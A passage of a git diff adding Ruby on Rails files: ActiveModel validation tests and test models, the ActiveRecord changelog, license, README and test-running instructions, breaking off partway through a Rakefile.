+    assert_equal :title, key = t.errors.keys[0]
+    assert_equal "can't be blank", t.errors[key][0]
+    assert_equal "is too short (minimum is 2 characters)", t.errors[key][1]
+    assert_equal :author_name, key = t.errors.keys[1]
+    assert_equal "can't be blank", t.errors[key][0]
+    assert_equal :author_email_address, key = t.errors.keys[2]
+    assert_equal "will never be valid", t.errors[key][0]
+    assert_equal :content, key = t.errors.keys[3]
+    assert_equal "is too short (minimum is 2 characters)", t.errors[key][0]
+  end
+
+  def test_validation_with_if_and_on
+    Topic.validates_presence_of :title, if: Proc.new { |x| x.author_name = "bad"; true }, on: :update
+
+    t = Topic.new(title: "")
+
+    # If block should not fire
+    assert t.valid?
+    assert t.author_name.nil?
+
+    # If block should fire
+    assert t.invalid?(:update)
+    assert t.author_name == "bad"
+  end
+
+  def test_invalid_should_be_the_opposite_of_valid
+    Topic.validates_presence_of :title
+
+    t = Topic.new
+    assert t.invalid?
+    assert t.errors[:title].any?
+
+    t.title = "Things are going to change"
+    assert !t.invalid?
+  end
+
+  def test_validation_with_message_as_proc
+    Topic.validates_presence_of(:title, message: proc { "no blanks here".upcase })
+
+    t = Topic.new
+    assert t.invalid?
+    assert_equal ["NO BLANKS HERE"], t.errors[:title]
+  end
+
+  def test_list_of_validators_for_model
+    Topic.validates_presence_of :title
+    Topic.validates_length_of :title, minimum: 2
+
+    assert_equal 2, Topic.validators.count
+    assert_equal [:presence, :length], Topic.validators.map(&:kind)
+  end
+
+  def test_list_of_validators_on_an_attribute
+    Topic.validates_presence_of :title, :content
+    Topic.validates_length_of :title, minimum: 2
+
+    assert_equal 2, Topic.validators_on(:title).count
+    assert_equal [:presence, :length], Topic.validators_on(:title).map(&:kind)
+    assert_equal 1, Topic.validators_on(:content).count
+    assert_equal [:presence], Topic.validators_on(:content).map(&:kind)
+  end
+
+  def test_accessing_instance_of_validator_on_an_attribute
+    Topic.validates_length_of :title, minimum: 10
+    assert_equal 10, Topic.validators_on(:title).first.options[:minimum]
+  end
+
+  def test_list_of_validators_on_multiple_attributes
+    Topic.validates :title, length: { minimum: 10 }
+    Topic.validates :author_name, presence: true, format: /a/
+
+    validators = Topic.validators_on(:title, :author_name)
+
+    assert_equal [
+      ActiveModel::Validations::FormatValidator,
+      ActiveModel::Validations::LengthValidator,
+      ActiveModel::Validations::PresenceValidator
+    ], validators.map(&:class).sort_by(&:to_s)
+  end
+
+  def test_list_of_validators_will_be_empty_when_empty
+    Topic.validates :title, length: { minimum: 10 }
+    assert_equal [], Topic.validators_on(:author_name)
+  end
+
+  def test_validations_on_the_instance_level
+    Topic.validates :title, :author_name, presence: true
+    Topic.validates :content, length: { minimum: 10 }
+
+    topic = Topic.new
+    assert topic.invalid?
+    assert_equal 3, topic.errors.size
+
+    topic.title = "Some Title"
+    topic.author_name = "Some Author"
+    topic.content = "Some Content Whose Length is more than 10."
+    assert topic.valid?
+  end
+
+  def test_validate
+    Topic.validate do
+      validates_presence_of :title, :author_name
+      validates_length_of :content, minimum: 10
+    end
+
+    topic = Topic.new
+    assert_empty topic.errors
+
+    topic.validate
+    assert_not_empty topic.errors
+  end
+
+  def test_validate_with_bang
+    Topic.validates :title, presence: true
+
+    assert_raise(ActiveModel::ValidationError) do
+      Topic.new.validate!
+    end
+  end
+
+  def test_validate_with_bang_and_context
+    Topic.validates :title, presence: true, on: :context
+
+    assert_raise(ActiveModel::ValidationError) do
+      Topic.new.validate!(:context)
+    end
+
+    t = Topic.new(title: "Valid title")
+    assert t.validate!(:context)
+  end
+
+  def test_strict_validation_in_validates
+    Topic.validates :title, strict: true, presence: true
+    assert_raises ActiveModel::StrictValidationFailed do
+      Topic.new.valid?
+    end
+  end
+
+  def test_strict_validation_not_fails
+    Topic.validates :title, strict: true, presence: true
+    assert Topic.new(title: "hello").valid?
+  end
+
+  def test_strict_validation_particular_validator
+    Topic.validates :title, presence: { strict: true }
+    assert_raises ActiveModel::StrictValidationFailed do
+      Topic.new.valid?
+    end
+  end
+
+  def test_strict_validation_in_custom_validator_helper
+    Topic.validates_presence_of :title, strict: true
+    assert_raises ActiveModel::StrictValidationFailed do
+      Topic.new.valid?
+    end
+  end
+
+  def test_strict_validation_custom_exception
+    Topic.validates_presence_of :title, strict: CustomStrictValidationException
+    assert_raises CustomStrictValidationException do
+      Topic.new.valid?
+    end
+  end
+
+  def test_validates_with_bang
+    Topic.validates! :title, presence: true
+    assert_raises ActiveModel::StrictValidationFailed do
+      Topic.new.valid?
+    end
+  end
+
+  def test_validates_with_false_hash_value
+    Topic.validates :title, presence: false
+    assert Topic.new.valid?
+  end
+
+  def test_strict_validation_error_message
+    Topic.validates :title, strict: true, presence: true
+
+    exception = assert_raises(ActiveModel::StrictValidationFailed) do
+      Topic.new.valid?
+    end
+    assert_equal "Title can't be blank", exception.message
+  end
+
+  def test_does_not_modify_options_argument
+    options = { presence: true }
+    Topic.validates :title, options
+    assert_equal({ presence: true }, options)
+  end
+
+  def test_dup_validity_is_independent
+    Topic.validates_presence_of :title
+    topic = Topic.new("title" => "Literature")
+    topic.valid?
+
+    duped = topic.dup
+    duped.title = nil
+    assert duped.invalid?
+
+    topic.title = nil
+    duped.title = "Mathematics"
+    assert topic.invalid?
+    assert duped.valid?
+  end
+
+  def test_validation_with_message_as_proc_that_takes_a_record_as_a_parameter
+    Topic.validates_presence_of(:title, message: proc { |record| "You have failed me for the last time, #{record.author_name}." })
+
+    t = Topic.new(author_name: "Admiral")
+    assert t.invalid?
+    assert_equal ["You have failed me for the last time, Admiral."], t.errors[:title]
+  end
+
+  def test_validation_with_message_as_proc_that_takes_record_and_data_as_a_parameters
+    Topic.validates_presence_of(:title, message: proc { |record, data| "#{data[:attribute]} is missing. You have failed me for the last time, #{record.author_name}." })
+
+    t = Topic.new(author_name: "Admiral")
+    assert t.invalid?
+    assert_equal ["Title is missing. You have failed me for the last time, Admiral."], t.errors[:title]
+  end
+end
diff --git a/activemodel/test/models/account.rb b/activemodel/test/models/account.rb
new file mode 100644
index 0000000000..40408e5708
--- /dev/null
+++ b/activemodel/test/models/account.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Account
+  include ActiveModel::ForbiddenAttributesProtection
+
+  public :sanitize_for_mass_assignment
+end
diff --git a/activemodel/test/models/blog_post.rb b/activemodel/test/models/blog_post.rb
new file mode 100644
index 0000000000..d4b02eeaa7
--- /dev/null
+++ b/activemodel/test/models/blog_post.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Blog
+  def self.use_relative_model_naming?
+    true
+  end
+
+  class Post
+    extend ActiveModel::Naming
+  end
+end
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
new file mode 100644
index 0000000000..c40a6d6f0e
--- /dev/null
+++ b/activemodel/test/models/contact.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Contact
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  include ActiveModel::Validations
+
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :id, :name, :age, :created_at, :awesome, :preferences
+  attr_accessor :address, :friends, :contact
+
+  def social
+    %w(twitter github)
+  end
+
+  def network
+    { git: :github }
+  end
+
+  def initialize(options = {})
+    options.each { |name, value| send("#{name}=", value) }
+  end
+
+  def pseudonyms
+    nil
+  end
+
+  def persisted?
+    id
+  end
+
+  def attributes=(hash)
+    hash.each do |k, v|
+      instance_variable_set("@#{k}", v)
+    end
+  end
+
+  def attributes
+    instance_values.except("address", "friends", "contact")
+  end
+end
diff --git a/activemodel/test/models/custom_reader.rb b/activemodel/test/models/custom_reader.rb
new file mode 100644
index 0000000000..df605e93d9
--- /dev/null
+++ b/activemodel/test/models/custom_reader.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class CustomReader
+  include ActiveModel::Validations
+
+  def initialize(data = {})
+    @data = data
+  end
+
+  def []=(key, value)
+    @data[key] = value
+  end
+
+  def read_attribute_for_validation(key)
+    @data[key]
+  end
+end
diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb
new file mode 100644
index 0000000000..fe82c463d3
--- /dev/null
+++ b/activemodel/test/models/helicopter.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Helicopter
+  include ActiveModel::Conversion
+end
+
+class Helicopter::Comanche
+  include ActiveModel::Conversion
+end
diff --git a/activemodel/test/models/person.rb b/activemodel/test/models/person.rb
new file mode 100644
index 0000000000..b61fdf76b1
--- /dev/null
+++ b/activemodel/test/models/person.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class Person
+  include ActiveModel::Validations
+  extend  ActiveModel::Translation
+
+  attr_accessor :title, :karma, :salary, :gender
+
+  def condition_is_true
+    true
+  end
+end
+
+class Person::Gender
+  extend ActiveModel::Translation
+end
+
+class Child < Person
+end
diff --git a/activemodel/test/models/person_with_validator.rb b/activemodel/test/models/person_with_validator.rb
new file mode 100644
index 0000000000..44e78cbc29
--- /dev/null
+++ b/activemodel/test/models/person_with_validator.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class PersonWithValidator
+  include ActiveModel::Validations
+
+  class PresenceValidator < ActiveModel::EachValidator
+    def validate_each(record, attribute, value)
+      record.errors[attribute] << "Local validator#{options[:custom]}" if value.blank?
+    end
+  end
+
+  class LikeValidator < ActiveModel::EachValidator
+    def initialize(options)
+      @with = options[:with]
+      super
+    end
+
+    def validate_each(record, attribute, value)
+      unless value[@with]
+        record.errors.add attribute, "does not appear to be like #{@with}"
+      end
+    end
+  end
+
+  attr_accessor :title, :karma
+end
diff --git a/activemodel/test/models/reply.rb b/activemodel/test/models/reply.rb
new file mode 100644
index 0000000000..6bb18f95fe
--- /dev/null
+++ b/activemodel/test/models/reply.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "models/topic"
+
+class Reply < Topic
+  validate :errors_on_empty_content
+  validate :title_is_wrong_create,  on: :create
+
+  validate :check_empty_title
+  validate :check_content_mismatch, on: :create
+  validate :check_wrong_update,     on: :update
+
+  def check_empty_title
+    errors[:title] << "is Empty" unless title && title.size > 0
+  end
+
+  def errors_on_empty_content
+    errors[:content] << "is Empty" unless content && content.size > 0
+  end
+
+  def check_content_mismatch
+    if title && content && content == "Mismatch"
+      errors[:title] << "is Content Mismatch"
+    end
+  end
+
+  def title_is_wrong_create
+    errors[:title] << "is Wrong Create" if title && title == "Wrong Create"
+  end
+
+  def check_wrong_update
+    errors[:title] << "is Wrong Update" if title && title == "Wrong Update"
+  end
+end
diff --git a/activemodel/test/models/sheep.rb b/activemodel/test/models/sheep.rb
new file mode 100644
index 0000000000..30dd9ce192
--- /dev/null
+++ b/activemodel/test/models/sheep.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Sheep
+  extend ActiveModel::Naming
+end
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
new file mode 100644
index 0000000000..2f4e92c3b2
--- /dev/null
+++ b/activemodel/test/models/topic.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class Topic
+  include ActiveModel::Validations
+  include ActiveModel::Validations::Callbacks
+
+  def self._validates_default_keys
+    super | [ :message ]
+  end
+
+  attr_accessor :title, :author_name, :content, :approved, :created_at
+  attr_accessor :after_validation_performed
+
+  after_validation :perform_after_validation
+
+  def initialize(attributes = {})
+    attributes.each do |key, value|
+      send "#{key}=", value
+    end
+  end
+
+  def condition_is_true
+    true
+  end
+
+  def condition_is_true_but_its_not
+    false
+  end
+
+  def perform_after_validation
+    self.after_validation_performed = true
+  end
+
+  def my_validation
+    errors.add :title, "is missing" unless title
+  end
+
+  def my_validation_with_arg(attr)
+    errors.add attr, "is missing" unless send(attr)
+  end
+end
diff --git a/activemodel/test/models/track_back.rb b/activemodel/test/models/track_back.rb
new file mode 100644
index 0000000000..728a022db5
--- /dev/null
+++ b/activemodel/test/models/track_back.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Post
+  class TrackBack
+    def to_model
+      NamedTrackBack.new
+    end
+  end
+
+  class NamedTrackBack
+    extend ActiveModel::Naming
+  end
+end
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
new file mode 100644
index 0000000000..e98fd8a0a1
--- /dev/null
+++ b/activemodel/test/models/user.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class User
+  extend ActiveModel::Callbacks
+  include ActiveModel::SecurePassword
+
+  define_model_callbacks :create
+
+  has_secure_password
+
+  attr_accessor :password_digest
+end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
new file mode 100644
index 0000000000..9da004ffcc
--- /dev/null
+++ b/activemodel/test/models/visitor.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Visitor
+  extend ActiveModel::Callbacks
+  include ActiveModel::SecurePassword
+
+  define_model_callbacks :create
+
+  has_secure_password(validations: false)
+
+  attr_accessor :password_digest, :password_confirmation
+end
diff --git a/activemodel/test/validators/email_validator.rb b/activemodel/test/validators/email_validator.rb
new file mode 100644
index 0000000000..0c634d8659
--- /dev/null
+++ b/activemodel/test/validators/email_validator.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    record.errors[attribute] << (options[:message] || "is not an email") unless
+      /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i.match?(value)
+  end
+end
diff --git a/activemodel/test/validators/namespace/email_validator.rb b/activemodel/test/validators/namespace/email_validator.rb
new file mode 100644
index 0000000000..e7815d92dc
--- /dev/null
+++ b/activemodel/test/validators/namespace/email_validator.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require "validators/email_validator"
+
+module Namespace
+  class EmailValidator < ::EmailValidator
+  end
+end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
new file mode 100644
index 0000000000..aa581ed1e6
--- /dev/null
+++ b/activerecord/CHANGELOG.md
@@ -0,0 +1,219 @@
+*   When using #or, extract the common conditions and put them before the OR condition.
+
+    *Maxime Handfield Lapointe*
+
+*   `Relation#or` now accepts two relations who have different values for
+    `references` only, as `references` can be implicitly called by `where`.
+
+    Fixes #29411.
+
+    *Sean Griffin*
+
+*   ApplicationRecord is no longer generated when generating models.  If you
+    need to generate it, it can be created with `rails g application_record`.
+
+    *Lisa Ugray*
+
+*   Fix `COUNT(DISTINCT ...)` with `ORDER BY` and `LIMIT` to keep the existing select list.
+
+    *Ryuta Kamizono*
+
+*   When a `has_one` association is destroyed by `dependent: destroy`,
+    `destroyed_by_association` will now be set to the reflection, matching the
+    behaviour of `has_many` associations.
+
+    *Lisa Ugray*
+
+*   Fix `unscoped(where: [columns])` removing the wrong bind values
+
+    When the `where` is called on a relation after a `or`, unscoping the column of that later `where` removed
+    bind values used by the `or` instead. (possibly other cases too)
+
+    ```
+    Post.where(id: 1).or(Post.where(id: 2)).where(foo: 3).unscope(where: :foo).to_sql
+    # Currently:
+    #     SELECT "posts".* FROM "posts" WHERE ("posts"."id" = 2 OR "posts"."id" = 3)
+    # With fix:
+    #     SELECT "posts".* FROM "posts" WHERE ("posts"."id" = 1 OR "posts"."id" = 2)
+    ```
+
+    *Maxime Handfield Lapointe*
+
+*   Values constructed using multi-parameter assignment will now use the
+    post-type-cast value for rendering in single-field form inputs.
+
+    *Sean Griffin*
+
+*   `Relation#joins` is no longer affected by the target model's
+    `current_scope`, with the exception of `unscoped`.
+
+    Fixes #29338.
+
+    *Sean Griffin*
+
+*   Change sqlite3 boolean serialization to use 1 and 0
+
+    SQLite natively recognizes 1 and 0 as true and false, but does not natively
+    recognize 't' and 'f' as was previously serialized.
+
+    This change in serialization requires a migration of stored boolean data
+    for SQLite databases, so it's implemented behind a configuration flag
+    whose default false value is deprecated.
+
+    *Lisa Ugray*
+
+*   Skip query caching when working with batches of records (`find_each`, `find_in_batches`,
+    `in_batches`).
+
+    Previously, records would be fetched in batches, but all records would be retained in memory
+    until the end of the request or job.
+
+    *Eugene Kenny*
+
+*   Prevent errors raised by `sql.active_record` notification subscribers from being converted into
+    `ActiveRecord::StatementInvalid` exceptions.
+
+    *Dennis Taylor*
+
+*   Fix eager loading/preloading association with scope including joins.
+
+    Fixes #28324.
+
+    *Ryuta Kamizono*
+
+*   Fix transactions to apply state to child transactions
+
+    Previously if you had a nested transaction and the outer transaction was rolledback the record from the
+    inner transaction would still be marked as persisted.
+
+    This change fixes that by applying the state of the parent transaction to the child transaction when the
+    parent transaction is rolledback. This will correctly mark records from the inner transaction as not persisted.
+
+    *Eileen M. Uchitelle*, *Aaron Patterson*
+
+*   Deprecate `set_state` method in `TransactionState`
+
+    Deprecated the `set_state` method in favor of setting the state via specific methods. If you need to mark the
+    state of the transaction you can now use `rollback!`, `commit!` or `nullify!` instead of
+    `set_state(:rolledback)`, `set_state(:committed)`, or `set_state(nil)`.
+
+    *Eileen M. Uchitelle*, *Aaron Patterson*
+
+*   Deprecate delegating to `arel` in `Relation`.
+
+    *Ryuta Kamizono*
+
+*   Fix eager loading to respect `store_full_sti_class` setting.
+
+    *Ryuta Kamizono*
+
+*   Query cache was unavailable when entering the `ActiveRecord::Base.cache` block
+    without being connected.
+
+    *Tsukasa Oishi*
+
+*   Previously, when building records using a `has_many :through` association,
+    if the child records were deleted before the parent was saved, they would
+    still be persisted. Now, if child records are deleted before the parent is saved
+    on a `has_many :through` association, the child records will not be persisted.
+
+    *Tobias Kraze*
+
+*   Merging two relations representing nested joins no longer transforms the joins of
+    the merged relation into LEFT OUTER JOIN. Example to clarify:
+
+    ```
+    Author.joins(:posts).merge(Post.joins(:comments))
+    # Before the change:
+    #=> SELECT ... FROM authors INNER JOIN posts ON ... LEFT OUTER JOIN comments ON...
+
+    # After the change:
+    #=> SELECT ... FROM authors INNER JOIN posts ON ... INNER JOIN comments ON...
+    ```
+
+    TODO: Add to the Rails 5.2 upgrade guide
+
+    *Maxime Handfield Lapointe*
+
+*   `ActiveRecord::Persistence#touch` does not work well when optimistic locking enabled and
+    `locking_column`, without default value, is null in the database.
+
+    *bogdanvlviv*
+
+*   Fix destroying existing object does not work well when optimistic locking enabled and
+    `locking_column` is null in the database.
+
+    *bogdanvlviv*
+
+*   Use bulk INSERT to insert fixtures for better performance.
+
+    *Kir Shatrov*
+
+*   Prevent making bind param if casted value is nil.
+
+    *Ryuta Kamizono*
+
+*   Deprecate passing arguments and block at the same time to `count` and `sum` in `ActiveRecord::Calculations`.
+
+    *Ryuta Kamizono*
+
+*   Loading model schema from database is now thread-safe.
+
+    Fixes #28589.
+
+    *Vikrant Chaudhary*, *David Abdemoulaie*
+
+*   Add `ActiveRecord::Base#cache_version` to support recyclable cache keys via the new versioned entries
+    in `ActiveSupport::Cache`. This also means that `ActiveRecord::Base#cache_key` will now return a stable key
+    that does not include a timestamp any more.
+
+    NOTE: This feature is turned off by default, and `#cache_key` will still return cache keys with timestamps
+    until you set `ActiveRecord::Base.cache_versioning = true`. That's the setting for all new apps on Rails 5.2+
+
+    *DHH*
+
+*   Respect `SchemaDumper.ignore_tables` in rake tasks for databases structure dump
+
+    *Rusty Geldmacher*, *Guillermo Iguaran*
+
+*   Add type caster to `RuntimeReflection#alias_name`
+
+    Fixes #28959.
+
+    *Jon Moss*
+
+*   Deprecate `supports_statement_cache?`.
+
+    *Ryuta Kamizono*
+
+*   Quote database name in `db:create` grant statement (when database user does not have access to create the database).
+
+    *Rune Philosof*
+
+*   Raise error `UnknownMigrationVersionError` on the movement of migrations
+    when the current migration does not exist.
+
+    *bogdanvlviv*
+
+*   Fix `bin/rails db:forward` first migration.
+
+    *bogdanvlviv*
+
+*   Support Descending Indexes for MySQL.
+
+    MySQL 8.0.1 and higher supports descending indexes: `DESC` in an index definition is no longer ignored.
+    See https://dev.mysql.com/doc/refman/8.0/en/descending-indexes.html.
+
+    *Ryuta Kamizono*
+
+*   Fix inconsistency with changed attributes when overriding AR attribute reader.
+
+    *bogdanvlviv*
+
+*   When calling the dynamic fixture accessor method with no arguments it now returns all fixtures of this type.
+    Previously this method always returned an empty array.
+
+    *Kevin McPhillips*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
new file mode 100644
index 0000000000..f9e4444f07
--- /dev/null
+++ b/activerecord/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
new file mode 100644
index 0000000000..cfbee4d6f7
--- /dev/null
+++ b/activerecord/README.rdoc
@@ -0,0 +1,217 @@
+= Active Record -- Object-relational mapping in Rails
+
+Active Record connects classes to relational database tables to establish an
+almost zero-configuration persistence layer for applications. The library
+provides a base class that, when subclassed, sets up a mapping between the new
+class and an existing table in the database. In the context of an application,
+these classes are commonly referred to as *models*. Models can also be
+connected to other models; this is done by defining *associations*.
+
+Active Record relies heavily on naming in that it uses class and association
+names to establish mappings between respective database tables and foreign key
+columns. Although these mappings can be defined explicitly, it's recommended
+to follow naming conventions, especially when getting started with the
+library.
+
+A short rundown of some of the major features:
+
+* Automated mapping between classes and tables, attributes and columns.
+
+   class Product < ActiveRecord::Base
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+The Product class is automatically mapped to the table named "products",
+which might look like this:
+
+   CREATE TABLE products (
+     id int NOT NULL auto_increment,
+     name varchar(255),
+     PRIMARY KEY  (id)
+   );
+
+This would also define the following accessors: <tt>Product#name</tt> and
+<tt>Product#name=(new_name)</tt>.
+
+
+* Associations between objects defined by simple class methods.
+
+   class Firm < ActiveRecord::Base
+     has_many   :clients
+     has_one    :account
+     belongs_to :conglomerate
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
+
+
+* Aggregations of value objects.
+
+   class Account < ActiveRecord::Base
+     composed_of :balance, class_name: 'Money',
+                 mapping: %w(balance amount)
+     composed_of :address,
+                 mapping: [%w(address_street street), %w(address_city city)]
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
+
+
+* Validation rules that can differ for new or existing objects.
+
+    class Account < ActiveRecord::Base
+      validates :subdomain, :name, :email_address, :password, presence: true
+      validates :subdomain, uniqueness: true
+      validates :terms_of_service, acceptance: true, on: :create
+      validates :password, :email_address, confirmation: true, on: :create
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Validations.html]
+
+
+* Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).
+
+   class Person < ActiveRecord::Base
+     before_destroy :invalidate_payment_plan
+     # the `invalidate_payment_plan` method gets called just before Person#destroy
+   end
+
+  {Learn more}[link:classes/ActiveRecord/Callbacks.html]
+
+
+* Inheritance hierarchies.
+
+   class Company < ActiveRecord::Base; end
+   class Firm < Company; end
+   class Client < Company; end
+   class PriorityClient < Client; end
+
+  {Learn more}[link:classes/ActiveRecord/Base.html]
+
+
+* Transactions.
+
+    # Database transaction
+    Account.transaction do
+      david.withdrawal(100)
+      mary.deposit(100)
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html]
+
+
+* Reflections on columns, associations, and aggregations.
+
+    reflection = Firm.reflect_on_association(:clients)
+    reflection.klass # => Client (class)
+    Firm.columns # Returns an array of column descriptors for the firms table
+
+  {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html]
+
+
+* Database abstraction through simple adapters.
+
+    # connect to SQLite3
+    ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: 'dbfile.sqlite3')
+
+    # connect to MySQL with authentication
+    ActiveRecord::Base.establish_connection(
+      adapter:  'mysql2',
+      host:     'localhost',
+      username: 'me',
+      password: 'secret',
+      database: 'activerecord'
+    )
+
+  {Learn more}[link:classes/ActiveRecord/Base.html] and read about the built-in support for
+  MySQL[link:classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html],
+  PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], and
+  SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
+
+
+* Logging support for Log4r[https://github.com/colbygk/log4r] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
+    ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
+
+
+* Database agnostic schema management with Migrations.
+
+    class AddSystemSettings < ActiveRecord::Migration[5.0]
+      def up
+        create_table :system_settings do |t|
+          t.string  :name
+          t.string  :label
+          t.text    :value
+          t.string  :type
+          t.integer :position
+        end
+
+        SystemSetting.create name: 'notice', label: 'Use notice?', value: 1
+      end
+
+      def down
+        drop_table :system_settings
+      end
+    end
+
+  {Learn more}[link:classes/ActiveRecord/Migration.html]
+
+
+== Philosophy
+
+Active Record is an implementation of the object-relational mapping (ORM)
+pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] by the same
+name described by Martin Fowler:
+
+  "An object that wraps a row in a database table or view,
+  encapsulates the database access, and adds domain logic on that data."
+
+Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is
+object-relational mapping. The prime directive for this mapping has been to minimize
+the amount of code needed to build a real-world domain model. This is made possible
+by relying on a number of conventions that make it easy for Active Record to infer
+complex relations and structures from a minimal amount of explicit direction.
+
+Convention over Configuration:
+* No XML files!
+* Lots of reflection and run-time extension
+* Magic is not inherently a bad word
+
+Admit the Database:
+* Lets you drop down to SQL for odd cases and performance
+* Doesn't attempt to duplicate or replace data definitions
+
+
+== Download and installation
+
+The latest version of Active Record can be installed with RubyGems:
+
+  $ gem install activerecord
+
+Source code can be downloaded as part of the Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/master/activerecord
+
+
+== License
+
+Active Record is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000000..cd22f76d01
--- /dev/null
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,47 @@
+== Setup
+
+If you don't have an environment for running tests, read
+http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment
+
+== Running the Tests
+
+To run a specific test:
+
+  $ bundle exec ruby -Itest test/cases/base_test.rb -n method_name
+
+To run a set of tests:
+
+  $ bundle exec ruby -Itest test/cases/base_test.rb
+
+You can also run tests that depend upon a specific database backend. For
+example:
+
+  $ bundle exec rake test:sqlite3
+
+Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
+
+  $ bundle exec rake test:mysql2
+  $ bundle exec rake test:postgresql
+  $ bundle exec rake test:sqlite3
+
+Using the SQLite3 adapter with an in-memory database is the fastest way
+to run the tests:
+
+  $ bundle exec rake test:sqlite3_mem
+
+There should be tests available for each database backend listed in the {Config
+File}[rdoc-label:label-Config+File]. (the exact set of available tests is
+defined in +Rakefile+)
+
+== Config File
+
+If +test/config.yml+ is present, then its parameters are obeyed; otherwise, the
+parameters in +test/config.example.yml+ are.
+
+You can override the +connections:+ parameter in either file using the +ARCONN+
+(Active Record CONNection) environment variable:
+
+  $ ARCONN=postgresql bundle exec ruby -Itest test/cases/base_test.rb
+
+You can specify a custom location for the config file using the +ARCONFIG+
+environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
new file mode 100644
index 0000000000..57c82bf469
--- /dev/null
+++ b/activerecord/Rakefile
@@ -0,0 +1,142 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+require_relative "test/config"
+require_relative "test/support/config"
+
+def run_without_aborting(*tasks)
+  errors = []
+
+  tasks.each do |task|
+    begin
+      Rake::Task[task].invoke
+    rescue Exception
+      errors << task
+    end
+  end
+
+  abort "Errors running #{errors.join(', ')}" if errors.any?
+end
+
+desc "Run mysql2, sqlite, and postgresql tests by default"
+task default: :test
+
+task :package
+
+desc "Run mysql2, sqlite, and postgresql tests"
+task :test do
+  tasks = defined?(JRUBY_VERSION) ?
+    %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
+    %w(test_mysql2 test_sqlite3 test_postgresql)
+  run_without_aborting(*tasks)
+end
+
+namespace :test do
+  task :isolated do
+    tasks = defined?(JRUBY_VERSION) ?
